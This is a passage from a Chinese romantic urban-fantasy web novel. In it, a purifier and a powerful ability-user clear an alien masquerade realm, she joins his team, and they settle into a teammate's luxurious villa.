《你尝起来好香》
1. 速通
他好像搞砸了。九春想。
他进场的方式大概不对,否则不能解释为什么人群都向他涌来。一张张假面愈逼愈近,令人窒息的海洋。
他右手伸向后腰,那里是从外面古董回廊里拿来的短刀,开过刃。左手还得握着门口取得面具的握柄,将假面保持在自己面上。
如果这只是一场单纯的舞会,他大可以抛下面具转身离去,不会有任何人阻挠他。然而,这里并非现实。
在这个世界上,除了人类,还存在着名为【异种】的异生物。祂们来由各异、所求不同,唯一相通之处——也是人类将之分类的依据——就是会造成精神污染。
不知是幸还是不幸,精神污染只对人类起效。精神污染会导致各式各类的症状,轻者如半夜忽然认为自己是一条水豚泡浴缸把楼下淹了,重者看谁都是不可名状的怪物见人就捅,什么样的表现都有,一句话就是“发疯了”。
异种会创造属于自己的空间,学者将其称为【彼界】。【彼界】可能完全独立于现实世界,也可能搭建于现实之上,与其相融。不管哪种,【彼界】内部及其影响现实范围内都会造成大规模精神污染,严重影响正常社会运转。
为了解决这一棘手难题,“异种事务处理专员”应运而生。这些人与异种斗智斗勇,或破解祂们设下的难题、或实现他们的愿望,以净化祂们,消除其造成的精神污染。
九春正是这些异种事务处理者之一。此时他正处于一处【彼界】,需要破解异种设下的关卡,才能顺利离开、将祂净化。
在【彼界】内,他时刻牢记以下两条规则:
【彼界】通用规则一:在异种创造的【彼界】内取得的物品一般能对界内存在造成真实伤害。
【彼界】通用规则二:界内存在最优先的攻击对象是与他们不同的闯入者。
奢华大厅内,每个人脸上都戴着面具:尽管样式不同,覆盖程度也不一,但不戴面具的人必定是最突出的那个;九春不知道取下面具后会发生什么,他也完全不想知道。
但手持面具的也只有他一位。九春背后滑下冷汗,他焦急地四处张望,寻找他的目标。
这处【彼界】的破解方法他已经找到了:辨别出谁才是真正的王室继承人,并完成对其真名的确认。作为王子公主,那些继承人候选者当然应该在宴会厅内,主持这一场奢华的舞会。
但人影憧憧、暗香浮动,他谁也没看见。
舞会参与者向他逼来。这些【彼界】内的存在基本都是异种创造的异生物,在不知道对它们造成伤害会发生什么之前,他不能随意大开杀戒。
就在九春在考虑要不还是先行撤退等队友汇合时,凌空遥遥溅起清脆一声。听上去像什么东西摔碎了。
紧接着有人说话了,是个女性,声音清晰明亮,正如穹顶垂直而下的灯光,“诸位!”
九春猛地抬起头。
二楼回廊,深红礼裙,乌发绿眼。她声音含笑:“我能理解他的吸引力。不过,可否请你们后退?”
“毕竟,我不喜欢别人碰我的人。”
她向他看了一眼,接着,若无其事般取下了脸上的面具。
其后露出的那张脸,赫然是九春再熟悉不过的模样。
他还没来得及叫出她的名字,原本围住他的人群突兀地停了下来。下一秒,他们齐齐转身,如同牵线木偶,同时仰首,望向二楼那位女性。
那副姿态,简直像群虫朝拜女王。九春脑中短暂闪过这个念头,就听到对方叫他:“春!”
九春眼睁睁看着她拎起裙摆、踩上栏杆,一跃而下!人群呼啦啦向她飞跃的方向涌去,却连她的裙摆都没抓着。
他只能条件反射地伸出双臂,接她满怀。
面具掉落在地。九春顺利接到人,他转了半圈,华丽的多层裙摆在他膝边掀起波浪。他才想起来发问:“不是,你为什么会在这里?”
“出去再解释吧。”女性回头看了一眼后方,用力拽了一下他的手,“要准备跑了。”
“顺便说,你这身西装不错。我喜欢。”她评论一句,转身面对准备将闯入者撕碎的宾客们。
现在是说这个的时候吗!九春一阵无力,但还是略微蹲伏而下,做好奔跑——以及捞起对方一起狂奔的准备。
女性唇间流淌出几个词。联袂成句,尔后行文。古老森严的语句在空气中流淌,一股能量以她身体为中心,向外辐射开。
五步、四步。九春悄无声息贴近她的后背,澄黄色眼瞳扫视一张张假面,计算逃向前方出口的路线。
三步、两步。女性短暂地停顿一下,连风都为此静止一瞬。
——下一刻,大地震颤!在他们前方,地面无规则地塌陷,溶成泥沼,原本站在上面的宾客全数陷入其中;另一部分则快速抬升,将其余人困在半空。
而在地面震动的时刻,两人已经开始奔跑。九春专注跟随前方的身影,一边感慨自己计算路线还是算早了。他早该料到对方会在地板上做文章。
直到狂奔出这座宴会厅,确定身后没有追兵,两人才停下来。他们均没有大喘气,女性说:“所以,你们破解这里的谜团到哪个地步了?”
九春思索一下,快速答道:“这个异种要解决的是继承血脉的问题。目前有一个王子、一个假公主、一个前来认亲的号称‘真’公主,只要找到谁是真正的王国继承人就可以净化祂。”
女性点点头:“是谁?”
“那个王子。”
“医师记载不是生的是女儿?”
“那个王子是女的。”
女性恍然大悟地“啊”了一声:“这就能解释很多问题了。我就说为什么她房间里会有女士内衣和计生用品。”
九春略微吃惊:“你已经去过王子房间了?我还没来得及搜那里。”
“没关系,那里没什么线索,不如说只能得出王子房间里有过女性这点。”她说,“不过,你搜的应该是假公主的房间?那按效率来说应该是你队友去搜。你们不是有四个人吗?”
“啊。这个——”
“九春阁下。”
近处忽然响起一声,两人的动作极为同步:同时转向那个方向,并且拔出了武器。九春是那把短刀,女性手里是一柄园艺剪子,尺寸颇为夸张。
“是我。川汜。”
那里慢慢显出一个人形。那是一位年轻男性,一身纯白礼服上沾满草叶,看上去很是狼狈。月光下他的眼睛细长,明明被两把武器指着,却没有露出多少慌张。
九春放下短刀,简单道了个歉:“不好意思。”
“没事。能理解。”男性说,他看向手持剪子的人,带着些好奇,“这位是?”
九春看看她,又飞快扫向自己队友,想了想,他说:“这是川汜,我们队里的‘游猎’。川汜,这是游叶。”
“游猎”,异种事务处理小队里负责定位、追踪的角色。大部分科技在【彼界】内都会失效,但少数“游猎”世家有自己的方法和家学,即使在异种创造的空间内,他们仍能完成精确(或许不是那么精确)的定位,不论是对队友,还是对异种本身。
他没有更多介绍,但川汜仿佛理解了一般,他向游叶颔首:“游叶阁下,久仰大名。”
“原来我还有大名可仰。”游叶终于放下剪子,她目光中带着探究,但暂且没说什么。
九春决定忽略这可疑的氛围,他直截了当:“连湛不是和你在一起吗?他去哪了?”
“我们本来要一起走花园迷宫过来,但很不幸,在入口处,有一位被异种操控的女士装作崴脚撞到了他身上,连湛下意识去扶住她,结果——”
“好了你不用再说了。”九春伸手制止他。他生无可恋地转向游叶:“这就是一个队友的情况。”
“我说过来的时候好像瞥到一个被茧子包裹、吊在树上会动的可疑东西,原来是这样。”游叶平静地补完川汜未尽的话。
川汜赞同了她的话。接着,他说:“你们找到真正继承者的名字了吗?”
九春摇头。游叶从口袋里掏出一块布料,她说:“这是从王子房间里拿到的,她的衣服上都绣了她的名字。”
川汜确认了一下,“是她的真名。接下来,要拿到观星塔上烧掉。这是确认继承者的一个步骤。”
“另一个是撞响几十年没响过的开国座钟。”九春接口,“你定位到这两个地点了吗?”
川汜点头,他抬手,腕间挂着一个多重螺旋的水琉璃环,他调拨了几下,两道光痕呈现在空中,静待指路。“跟着走就行。”
“行。”九春正要抬脚,又放回去,“你要和我们一起——”
“我需要回去找一下连湛阁下。”川汜说
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,“我不是武装人员,去了大概只会拖你们后腿,还是回去看看能不能救他比较好。”
这也是个合理安排。一般在【彼界】内,“游猎”都只起到定位、追踪的作用,真正操作的还是他们这些异种净化专员。
两道光痕向前飞去。九春一面疾奔,一面听游叶问:“你的另一个队友又去哪里了?”
九春哽了一下。他有点不情愿地说:“在前面的更衣室环节,她穿了更衣间准备的鞋子,只能在宴会厅外面不停地跳舞了。”
他不用看都知道游叶会是什么表情。只听到她低声说:“嗯,呃,原来是这样……”
九春叹了口气。他也不想承认自己队友犯了这么低级的错误。
毕竟,更衣室关卡的提示栏都写得很清楚了:提供礼服、礼帽、配饰,不提供面具等。
鞋子没有写在提供一栏,就说明是不提供的,出现在那里当然是个陷阱。提示栏还挺好心的,甚至写了不提供面具“等”。
再者,这次精神污染的症状就是认为自己穿上了一双红舞鞋,应该不停跳舞到死为止。鞋子显然是这个副本的重点,再怎么警惕都不为过。
游叶好心转了个话题:“要到了。是那边那座塔吗?”
九春看了一眼,“川汜的定位应该没错。它旁边就是座钟?离得挺近的。”
他看见游叶眯起眼睛,显然在估算两者间距。他听到她说:“先上塔吧。”
两人一前一后,沿着楼梯中轴线快速上行。这样可以防止两侧墙壁突然出现机关躲闪不及。
好在这次并没有这样的陷阱,两人顺利来到塔顶。九春看到中央的祭坛,那里是熄灭的。
还没等他想到方法,游叶走过去,瞧了瞧里头,念出一段韵文。气流向祭坛中心涌动,化作火焰,点燃底下的骨血。
好吧,有一个显征者在这里,他的确可以少担心很多事。有段时间没和游叶搭档,九春时不时还会转回单打独斗的思维。况且,他现在的队伍里没有像她这样的“转换型”显征者。
“现在就是撞响钟了。你去我去?”游叶大拇指一指旁边的座钟,九春看了她一眼,说:“我去吧。”
这分配没什么理由,只是看个人意愿。将座钟敲响只需要晃动下方的钟摆,这点他们已经从前面的关卡里得到提示。他们都有完成这项任务的能力。
夜风吹拂,露天的塔顶上甚至能看见虚构的星星。九春后退几步,留足助跑距离。游叶站到他身后,问:“准备好了吗?”
九春深吸一口气,点点头。游叶口中发出一道强音,一阵强气流自他背后猛推,九春狂奔起来,他一个跨步,跳上塔沿的凸起,脚底猛地一蹬!
如同夜色中起飞的猫头鹰,他的身影在空中划过一道优雅的弧线,完美落在钟摆上。游叶看到这一幕便不再关注,她转过身,两指捏着绣有真名布条,悬吊在祭坛之上,静静等待钟声的响起。
旺盛火焰映在她眼瞳之中,火光照亮了那碧翠得几欲流淌而出的颜色,不同寻常,几近妖异。
——“铛”。
暌违多年的悠扬钟声惊醒了整个夜晚,游叶手指一松,那截名字熊熊燃烧,转瞬化作灰烬。
而后,祭坛中心,一道光束直击夜幕,像蛋壳碎裂一般,整个穹顶缓慢破碎了,这正是【彼界】被破解的象征。
也就是说,这个异种被他们净化了。脚底砖石簌簌作响,游叶也奔向塔沿,纵身一跃!
身后巨□□塌如尘,她舌尖弹出几个轻柔的音,气流垫住她,让她得以缓慢降落。
九春奔过来,确认她没事,随后看向四周,说:“看来我们通关了。”
“应该是。”游叶拎起裙摆,遗憾地发现它也在逐渐消退,变成她原本的衣服。
“所以,现在你是不是能告诉我,你为什么在这里?”九春盯着她,神情是绝不容她回避的执拗。
游叶眼珠转了一下,她说:“你们队里的报告一般都是谁写?”
九春下意识回答:“一般是川汜,他比较会套公章格式……不是,你先回答我的问题啊!”
“不会轮到我就好。”游叶松了口气,“我最讨厌写那种东西了。”
这厢九春琢磨过味儿来了,他震惊地撑圆了眼睛,像被吓了一大跳的猫咪。
“你的意思是,你要加入我们队里?”
2. 栀子
面对他的惊愕,游叶只是拨了一下颊边碎发,说:“是啊,有什么不对吗?”
她的语气颇不以为然。九春仍在震惊中,他喃喃说:“不是、但你完全没和我——”
对话间隙,他们已经回到现实世界。这里是一片花园住宅区,占地颇广,拉起的警戒线只能看到远远一线白色。
中央的喷泉水池还在汩汩,只是由于【彼界】影响,一段时间无人居住,因打理不善而蒙尘。游叶走过去,伸手触碰水流,说:“来不及。我刚填完你们队的入队申请表,就收到了你们进入【彼界】的通知。”
这就是她一个人进入那里的原因?九春拧眉,第一个想法脱口而出:“你觉得我们应付不了这个异种?”
“不。怎么会。”游叶讶异似地笑笑,“就算只有你一个人,通关这个副本也并不困难。只是没那么快罢了。”
“那你完全可以等到我们出来再——”
“这样不是更方便么。反正你们都要测试我的能力,不如直接实操一下,也省得再去约一个训练场。”
她总是有很多理由,即使不是全部符合常理。九春犹在思索,就听到她嗓音悠悠:“以上都是我进入【彼界】的理由,不过都不是真正重要的。”
“什么?”
“我想尽快见到你。”她转过身,指缝间淋下水珠,那双碧绿眼瞳直视他。
她声音里带着笑意:“你不想见到我么?”
九春脸爆红。所有回答卡在喉咙里,只能是不成型的气流穿过其间。他用力闭上眼睛,想要调整情绪,却忽然一阵风迎面而来。
他睁开眼。碧色眼瞳近在咫尺,游叶不知何时已来到他身前,他们之间的距离甚至隔不开一只拳头。
她要干什——
在完整的念头形成之前,九春的肩膀被她捉住,紧握,游叶上前一步,亲吻了他。
这可不只是嘴唇贴着嘴唇这样浅尝辄止的动作。她的舌头灵巧地撬开他齿关,转瞬间就纠缠一处,他清晰地感觉到对方在掠池夺城、网罗一切。
奇异的是,除了亲密接触的愉悦感外,九春诡异地没有多少震惊和羞恼,他甚至有点认命般如活的平静:果然,游叶就是要来亲他的。
不如说从副本里出来后,他脑子里的某个角落就在考虑这个问题了。虽然不能说得上是期待,但多少还是有点紧张,毕竟不知道她什么时候会动手——动嘴。
这不是因为他们关系密切——虽然他们确实关系非同寻常——而是因为一个简单的生理原因:游叶的味觉系统,对他的唾液情有独钟。
据她所说,他的味道比她吃过的所有东西都要更好,而且一定会使她心情愉悦,产生巨大的满足感。
听起来他有点像某种精神类药物。游叶也承认他可能是有点成瘾性,但她会努力克服。
……现在看来,她大概是没多少努力的。九春一边无奈地扶住她前倾的身体,一边被亲吻得有点呼吸不畅,他推推她肩膀,叫她适可而止。
游叶当然能领会他的意思,但她完全不听。好像要把这几年没见面没吃到的份全部补回来一样,水声刺激着他的鼓膜,搅动着脑海深处,令他头晕目眩——
“——抱歉打扰两位了,我是来说一声,君山阁下和连湛阁下都没事。”
不远处传来一个声音。是川汜,九春他们队里的游猎。游叶回忆着,总算舍得放过九春,她最后轻轻咬了一下他的舌头,才松开双唇。
她侧过眼,注意到他身后的另外两个人。
一个是青年男子,五官英气,面相温柔,眼睛是大而浅的紫色,如同一泓湖。中央的瞳孔不是黑色,而是深邃的紫色,典型的显征者表征。
另一个外貌上并无特别,是位年轻女性,她是在场唯一一个赤足站立的人,右手拎着一双红舞鞋,颜色鲜艳得像要滴出血来。
当然,无论是谁,此时都用一副相当受震撼的神情望着他俩。川汜尚算镇定,还能礼貌微笑;那个青年无声地“啊”了一下,除了惊愕外,还带着撞破什么一般的尴尬;女性满脸写着“真的假的”和“我希望我看见的不是真的”,震惊里有着小小的嫌弃。
九春弹簧一样蹦起来,“等等,听我说!这事不是你们——”
“好好好,我们什么也没想。”那位女性举起双手投降,语气是听饱了的无语。她越过川汜,走向他们,“这副本还真难搞,费了双我还挺喜欢的鞋子。”
一边说着,她慢慢打量着一旁的游叶,“这位是?”
显然,她打算当做什么都没看见。但游叶刚刚当着他所有队友的面强吻了他,这事儿大概短时间内不会被忘掉。
九春看了看游叶,见她并无开口意思,才重复一遍先前对川汜的说辞。他向游叶介绍:“她是我们队里的【收容型】显征者,君山。”
“显征者”,指的是有着特殊能力的人,其能力被称为“显征能力”。显征能力分为三个类型。
【净化型】,通常分为“净化”与“增益”两个方向。“净化”方向可以对异种制造的异生物乃至【彼界】造成影响,同时包括对人类的精神污染症状进行消解。“增益”是“净化”的反方向,可以增强人类或其他物品的部分属性。
【转换型】,展现方式非常多样,通性为可以将某种事物转换为另一种事物,一般能够转换的事物有限定范围。通常需要以“言语”或者“接触”作为施展媒介,即通过说话或肢体接触来进行转换。
【收容型】,显征能力一般演化为“收容”和“防御”两个方向。“收容”方向专职收容净化后的异种进行运输,“防御”方向则顾名思义。这个类型是显征者中数量最多的一个群体。
“君山专员,你好。”游叶抬起手,和她打了个招呼。不等对方开口,她便指着那双红舞鞋,问:“这是净化后的异种?”
君山被问得一愣,下意识回答她:“对。待会儿要送去公会那边……不,等一下,你为什么会在这里?”
游叶对九春投去揶揄的眼神,意思是“和你一样的问题啊”,九春撇开眼,耳朵还是红得厉害。
不逗他了,游叶正经回答:“我是来加入你们队伍的。”
“加入我们?”君山重复一遍,才想起来,“哦,进来之前我的确收到了一份申请……那个是你?”
游叶点头。她笑着说:“我和九春两个人完成了最后的通关。在此之前的关卡我都一个人通过了。我想,这份投名状应当有参考价值。”
这何止是有参考价值,即使不能算满分,也远超君山预想了。她发布招人告示的时候根本没想到会有多强的人加入,毕竟他们小队不算有名,能招到显征者都算撞大运了。
看九春没有反驳她的意思,应该都是事实。君山思忖一下,说:“你能现场展示一下你的显征能力吗?我记得申请表上写的是【转换型】,你大概能做到什么程度?”
真是没想到,一个副本结束后的现场会变成Boss直聘。那个紫眼青年小声向川汜询问:“这是谁?”
“游叶阁下,【转换型】显征者,公会个人积分榜一直排在第一面。”川汜简略介绍,“之前有段时间她的名字消失了,应该是进了前十。”
第一面,也就是前三十名。在数以百万计的异种净化专员里。他们队里最高的九春之前也才堪堪挤进去,加入他们队里后就没有了。毕竟他们队承接的一般都是比较安全的任务,积分自然不太高。
“还有,她和九春阁下一样,都是无垠公司‘群星班’培训出来的。”川汜侧过身,他双手抱胸,似笑非笑,“你也是知道九春阁下的水平的,连湛阁下。即使他不是显征者,他的异种处理能力也远超我们认识的绝大多数专员。”
“游叶阁下甚至还是显征者。我想,她的能力只会更强。”
连湛吃惊地倒吸了口气。“这样强的人,怎么会来我们队里?”
川汜摊开手,“谁知道呢?”
在他们说话的功夫,游叶也听到了君山的要求。她挑了挑眉,说:“可以啊。”
她向后走了几步,手再次伸入喷泉水中。
池面开始波动,仿佛有什么东西在底下鼓胀起来。振荡愈发剧烈,游叶露出喜悦的神情,她迸出一个短促的音,如同
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春日来临,看见第一颗种子破开抽条的惊叹。
——刹那之间,数不清的绿枝藤条从池水中钻出,泉水转瞬干涸,浅白的栀子花重重叠叠开放,直至布满整座喷泉,在稀薄的月光下闪烁淡淡荧光。不过眨眼,这座喷泉就变成了花坛,随风吹过,一阵馨香传扬开。
她将手抽出,摘下一朵。游叶面容含笑,将那枝栀子递给君山,“一点小小心意,希望你会喜欢。”
君山哑口无言,多年教养下才勉强没有变成瞠目结舌。她接过那朵花,努力不让手和声音颤抖。“呃……不讨厌。”
见鬼,她把一整个三层喷泉里的水全部转换成了栀子花?这是一般显征者可以做到的吗?而且她还好像什么都没做过的样子,轻松得像只是上街遛个弯。
那边游叶已经在问九春了:“你要不要来一朵?”
九春半点惊讶的样子都无,他表情微妙,硬要形容,大概是习以为常混杂着无语,还有点看熟人装帅的嫌弃,“不要。”
游叶也没强求。君山看着手里这朵白花,总算找回自己平常的声调:“那个,游叶……专员,对吧。”
她说:“麻烦你待会儿和我们去一趟宿舍。入队协议书在那里,你确认没问题就可以签了。”
“签了的话,我能今晚搬进来吗?”游叶说,“我的行李不多。”
“当然可以。”君山立刻答应。废话,这么牛逼的异种处理执行者,放着不招是要等过年吗!别说今晚搬进来,要把整个宿舍送她君山都愿意。反正那也是她的私有财产。
游叶对此很满意。他们一行五个人走向划定【彼界】污染范围的边界线附近,一位标准公会后勤专员装束的女性走过来,开始和手里拎着净化后异种所化物品的君山交接。
一般异种被净化后都会变成一个象征性物品,称为“净化源”。可以对其他区域的精神污染进行二次净化,持续时间和范围依据异种原身强度而定。
这次的是一双红舞鞋,也算是对应被污染后狂舞致死的症状了。游叶看着君山看似毫无防护的手部,神情若有所思。
交接一般都是简单汇报队伍情况,公会后勤专员会将他们净化的异种移交,在公会内进行登记后发放对应积分给他们,而这些净化源会去到需要它们的地方。
这些花不了多长时间,没多久君山就回来,她划拉掌机投出的光屏——集通讯娱乐社交等多功能为一体的智能设备,以贴合在掌心的设计为名——边说:“我叫了悬浮专车来接我们了,再等五分钟就到。”
大家均无异议。只有游叶略感疑惑,她戳了下九春,以只有对方能听见的声音问:“为什么要专门叫车?工会那边不是会直接派车来接我们会统一宿舍园区?”
九春用同样的音量回答:“因为我们不回那里。”
这没有解答她的疑惑。按照公会规定,任何出完任务的小队都要至少强制休息一周,且要在公会建造的同一宿舍园区内集中休息。这是为了更好地监控各位异种净化专员的精神污染情况,以便及时提供帮助与管控。
既来之则安之,游叶不做任何反对,且看之后发展如何。
很快,一辆漆黑的长轿车从夜空中降下,车门自动开启,五人进去,里面是一圈L型真皮沙发,地毯和香薰让人不由自主想起刚刚的奢华舞会。
虽然说是悬浮车,但游叶也没想到会是这么豪华的款式。她注意到其他人都没有表现出意外,这应该是他们日常标配。
队里显然有人来头不小。游叶若无其事坐到靠近车门的位置,她对面是紫眼的连湛,身边是九春,这个坐序她挺满意。
车身毫无震动,就此平稳起飞。刚从【彼界】里出来,大家都累了,没人说话,在昏暗夜色的掩饰下闭目养神。只有游叶睁着眼,她的目光静静扫过车内装饰,果不其然找到了一些特别的图案:一个家族,一个徽章。
车子飞行速度极快,不多时便抵达目的地。下车后,饶是游叶这样见多识广的,也没忍住感叹一声:“哇哦。”
这要是她以后住的地方,那她加入这个队伍的理由真的可以再多一个了。
3. 入队
此刻矗立在游叶面前的,不是一座房子,甚至不只是一整幢别墅——当然,主楼是一栋别墅,采用新式简约设计,外观上并无独到之处,只有前方的升降式载人悬浮球和半空延伸的多条自动运输轨道稍让人眼前一亮,可说是为不想走路的客户贴心着想。
然而在这城堡大小的建筑物之后,还有不断延伸的各式建筑群,游叶目前能认出的大概有体育馆、游泳池、游乐园全套游乐设施、一个完整的公园……
剩下的她还没来得及全瞰,君山就领着他们进了一个悬浮球,球体关门后自动承载五人来到半空中的转道平台,平台延伸出数条自动传输带,分别通往不同方向。
这种设计好处在进房子无需经过大门和客厅便可以直接去自己想去的房间,通常见于集居式公寓楼栋群。
游叶猜测这里也采用类似设计大概是因为房间和地点太多了,再就是考虑到住户不想多走那两步路,实在贴心,也实在有钱。这么个专门的转道平台可不便宜,何况还是全自动的。
君山转头说:“游叶,麻烦你和我走一趟,我们去签一下协议。其他人就各自解散吧。”
“那么,我就先走一步。”川汜率先选定方向,那里似乎不是去往住宿的主楼。连湛注意到她的视线,解释:“川汜喜欢去观星台放松心情。”
所以说,这里甚至有一个观星台。游叶默默点头,连湛对她小心翼翼地微笑了一下,也离开了。九春最后一个走,他没有向游叶多叮嘱什么,但游叶记住了他的目的地,一等他背影消失便问君山:“主楼三层西翼有能住人的空房吗?”
君山点头。游叶愉快地宣布:“那我就住那里了。”
九春住在东翼,整层楼就两个房间,她居心为何昭然若揭。君山不禁开始思考这天上掉下的馅饼保不保真:她不会是来撬墙角要把他们队里最专业的异种净化专员挖走的吧?
应该不至于此,应该。虽说是个人都能看出他们关系甚密,但专门为了一个人加入一支小队……听起来像场浪漫的豪赌。毕竟,选错人做队友,下辈子可能就要在精神疗养院里度过余生了。
两人从五楼正门进入,入户便是宽敞的客厅,做了挑高设计,通透感极佳。现在正值夜色,落地窗外灯河如流,大都会最繁华的城区正在他们下方。
复古造型的机械小车自动驶来,上面放了两杯热茶,君山先坐在一侧沙发上,伸手示意她,“请。”
游叶在她对面坐下,取走一杯茶,稍微啜饮一口。加了安神草药的伯爵茶,她很有讲究。
“这是入队协议,点数分配比例和其他事项都写在里面了,你可以看一下。”君山将一份纸质文件推到她面前。游叶放下茶杯,拾起纸张逐一查看。
首先当然是异种净化任务完成后的点数分配。这个比例游叶并不意外,作为显征者,又有丰富精华经验和能力,任何队伍给她的报价都会很高。不过君山明显要比这些一般队伍更慷慨一些。
“精神保险、人身保险、财物保险、显征能力保险……这些单独列出来的是公会基础保险外的再进阶版本?”游叶翻到下一页,“如果出现严重精神污染后的补偿和治疗方案……这些也豪华啊。”
“这么好的条件,我只在无垠公司最高规格的队伍招揽条件里见过,公会组成的队伍一般不可能有这样的协议条款。”她没有中断查看,继续说,“而且,你们队伍的评级只是刚到B级吧?B级队伍开出这种条件,就算是那位‘天缨’你们恐怕都能招进来了。”
“要不是天缨小姐不愿意和她的小助理以外的人组队,我当然会去邀请她。”君山用难辨真假的语气回答,游叶被逗乐了,“有这事?算了,如果你真想过,祝你好运。”
她浏览一遍,放下协议,“没什么问题,不如说,你们慷慨得超过我的想象。不过,有件事我想问一下。”
君山示意她说。游叶问:“我们的强制休息期在这里度过是合规的吗?”
“原来是这个?你不用担心。”君山露出点意外的表情,“我已经和公会沟通过,取得许可了。这栋别墅以及后面的附属设施和公会宿舍园区那边完全相同标准,有充足的精神娱乐和疗养项目可供选择;除此之外,这个街区的【净化源】也绝对达标,能够保证街道范围内的精神污染数值低于社区宜居的最严苛标准。”
“如果我们中间真的有谁出现精神污染症状,这附近有完备的医疗团队和警卫团队,加起来可以制止十人以下的全显征者小队。别墅内常备精神治疗药物,也有紧急注射药剂,一般不需要出动他们,我们内部也可以自行解决。”
君山喝了一口茶,“不过,这种事还没出现过。”
听上去,这的确能和公会统一的疗养宿舍园区匹敌。怪不得公会能给君山这个小队许可。游叶眨了下眼,直白地说:“这很贵吧。”
君山愣了下,“还好?这套房子本来就是我的,药物有公会帮忙提供,也就请医疗和警卫团队需要花一笔,但总体也不贵。”
游叶不太清楚她“不贵”的标准是什么,想来不可能和世间一般人相同。她放过这个问题,君山却忽然开口:“我有个问题想问你。”
她放下空了的茶杯,“虽然我们都看见了你……嗯,亲了九春,你们应该以前就认识吧。”
游叶微笑不语。这是默认了,君山继续问下去:“你选择加入我们队,是因为九春在这里吗?”
游叶望着她,眼神看上去纯真无暇。她说:“他当然是一个原因。”
“除此之外,你们队虽然评级不是特别高,但队员能力都不弱,而且搭配平衡很好:有游猎、有收容型、有增益型,综合考虑来看,我认为加入你们是目前最好的选择。”
她不急不缓,听上去相当真诚。君山默然凝视她片刻,说:“我没有别的问题了。”
“我倒是想到了一个问题。”游叶随意地说,仿佛她只是临时起意,“你是因为什么决定进入异种净化这一行,并组建了这支小队?”
这是个相当私人的问题,君山愣了愣,才回答:“……我想打造这个时代最强的异种净化队伍,我也要在其中。”
她的声音并不如她语句那般坚定。游叶没做出任何评价,只是点点头,拿起君山放在她这侧的钢笔,在协议上签下自己的名字。
接下来没什么要事,两人便分开,各自做自己的事情去了。游叶在转道平台签收了自己的行李,用掌机联了别墅的智能家居助手,操纵墙内装置的机械臂,将东西运送到三楼西翼。
这次,她选择了直接前往三楼西翼的自动轨道,踩了上去。很快,她来到自己的房间,这次是挑选了小型一些的机械臂,开始布置起来。
不得不说,君山真的出手很大方:这个房间宽敞得惊人,家具齐全,还都是高档品牌,寻常人根本负担不起,即使是他们这样收入高的异种净化专员,一般也不会如此豪掷。
两米三的大床还可以继续往两侧延伸,五六个人要在这里睡成大通铺都不是问题。步入式衣帽间自带干洗等等功能,地毯只要一个指令就会在选定位置鼓起,成为柔软的豆包沙发,让人可以随时随地全身陷入毛茸茸软乎乎中。
最赞的是,浴室大得离谱,还有全自动式按摩浴缸,容纳两个成年人绝对绰绰有余。游叶一直坚信,这个产品的发明是精神污染日常治疗的一个里程碑,尤其是在一些活动中的辅助对身心尤为有益。
不过,现在不是享受它的时候。游叶向它投去遗憾的一瞥,捞了套宽松舒适的睡衣,随后打了个响指,唤醒淋浴喷头。
*
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连湛从居住的四楼下到正厅来,给自己倒了杯复合型果汁。刚刚进完一个C+级副本的污染尚存,脑中还残留着长刺钉入的钝痛和烧灼感,耳边时不时会响起回旋的舞曲,不注意的话脚会不由自主地打拍子,除此之外都还好。
以他对自己精神抗性的了解,以上症状都会在二至三小时后消退。总体来说,他状态不错,不存在控制不了自身意识和行动的倾向。
一阵夜风吹来,【增益型】显征能力加强了他的嗅觉和温度感官,现在是春末,外头的雏菊绽朵了,清香盈盈。科学证明自然植物的香气对精神污染有抑制与疗养作用,大都会内所有住宅区都是花草繁茂。
他向风来处看去,君山靠在围栏,一手撑住下巴,若有所思般凝望夜景。连湛另倒了一杯鲜榨苹果汁,将两个马克杯一起端过去。
“你感觉还好吗?”他说,在阳台口把杯子递过去。君山瞥他一眼,接过去,“谢谢。”
“我没事。我只是有点……算了。”她吞咽果汁,连湛也不好再往下问,只得老实说:“没事就好。”
“对了,刚好问你一下。”君山说,“你觉得今天新来的那位,人怎么样?”
连湛愣了下,“游叶专员?我今天也是第一次见她,不好——”
“就说下第一印象就行了。”君山有点不耐烦。
“这个……”连湛思索了片刻,“她的履历很惊人,副本里我不知道她表现如何,但从结果看,她的专业能力应该和九春一样强。再加上她有显征能力,只会更厉害。”
“性格呢?”
“很……热情?毕竟她当众亲了九春。”连湛想到那个画面,不禁有些脸热,基本是因为尴尬,“还有就是,以她的资历来说,基本没有傲气,应该是个很好沟通的人。”
“她是挺有礼貌的。”君山面无表情地灌下一口果汁,“刚刚签协议的时候,我问她为什么要加入我们队,她除了九春外还夸了我们队伍不错。”
连湛不知道说什么。他也清楚,刨除九春,他们队里只有川汜是很优秀的“游猎”,他和君山都是半道出家,虽然已经通关了几个副本,但还只能说是业余人士。对游叶这样从小就开始训练如何净化异种的专业人员来说,他们队实在没什么出彩的地方。
“知道是在客套,不过说得挺诚恳。”君山哼笑一声,“我也不是说她,大家都第一天认识,客气点也正常。”
连湛苦笑一下。他想起一件事,“九春很喜欢她吧。”
“何以见得?”
“虽然没有相处很久,不过,换个人那样干的话,九春根本就不会被亲到,更不会乖乖被亲那么久。”
“是吗?可能只是被美女亲了觉得没关系呢。”君山耸了下肩,连湛带着点责怪意味说:“你知道九春不是这样的人。”
“我开个玩笑。”君山把空了的杯子递回去,连湛接过,准备待会一起放进自动清洁机。“不过,她长得确实很漂亮——尤其是那双眼睛,你回想一下。我们有见过那样明显的显征者特征吗?”
连湛很快摇头。以他们的家世和经历,说是名流见腻了也不是夸张,显征者见过不知凡几,强大者如云,但那样浓郁的瞳色依旧前所未见。再往前一步,甚至可以说那并非人类的眼睛了。
“上一个给我类似印象的还是那个天缨……算了,不说她了。”君山摇摇头,越过他往里走,“我去休息了。”
“嗯,晚安。”连湛轻声回应,他来到厨房,将两只杯子放进自动清洁仪。
他心不在焉地盯着消毒设备工作。轻柔的洗刷声中,他想起游叶递向君山的那支栀子花。
他抬头。紫色的眼里倒映出洁白的花朵,仍然在桌上绽放着,毫无返还回曾经清水的迹象。
4. 夜话
九春一边清洗头发,一边思维发散:早知道他应该去看着游叶和君山签协议的。
虽说他知道君山不是会坑人的——恰恰相反,她大方得他都有点害怕——但凡事总要亲眼见过才能放心,就算他的理性告诉他一切不会有问题,感性上也还是想再三确认。
他瞥到一边的全自动按摩式浴缸。他还是用不太惯这个,长年都是淋浴过来的,尽管游叶和他倾情推荐过数次,还拉他一起体验过,他还是很少使用。
又想起她了。这种情况不常出现,但从未间断。他承认也好,不想承认也罢,他们认识至今十多年,在彼此人生里都刻下了太过深刻的痕迹。
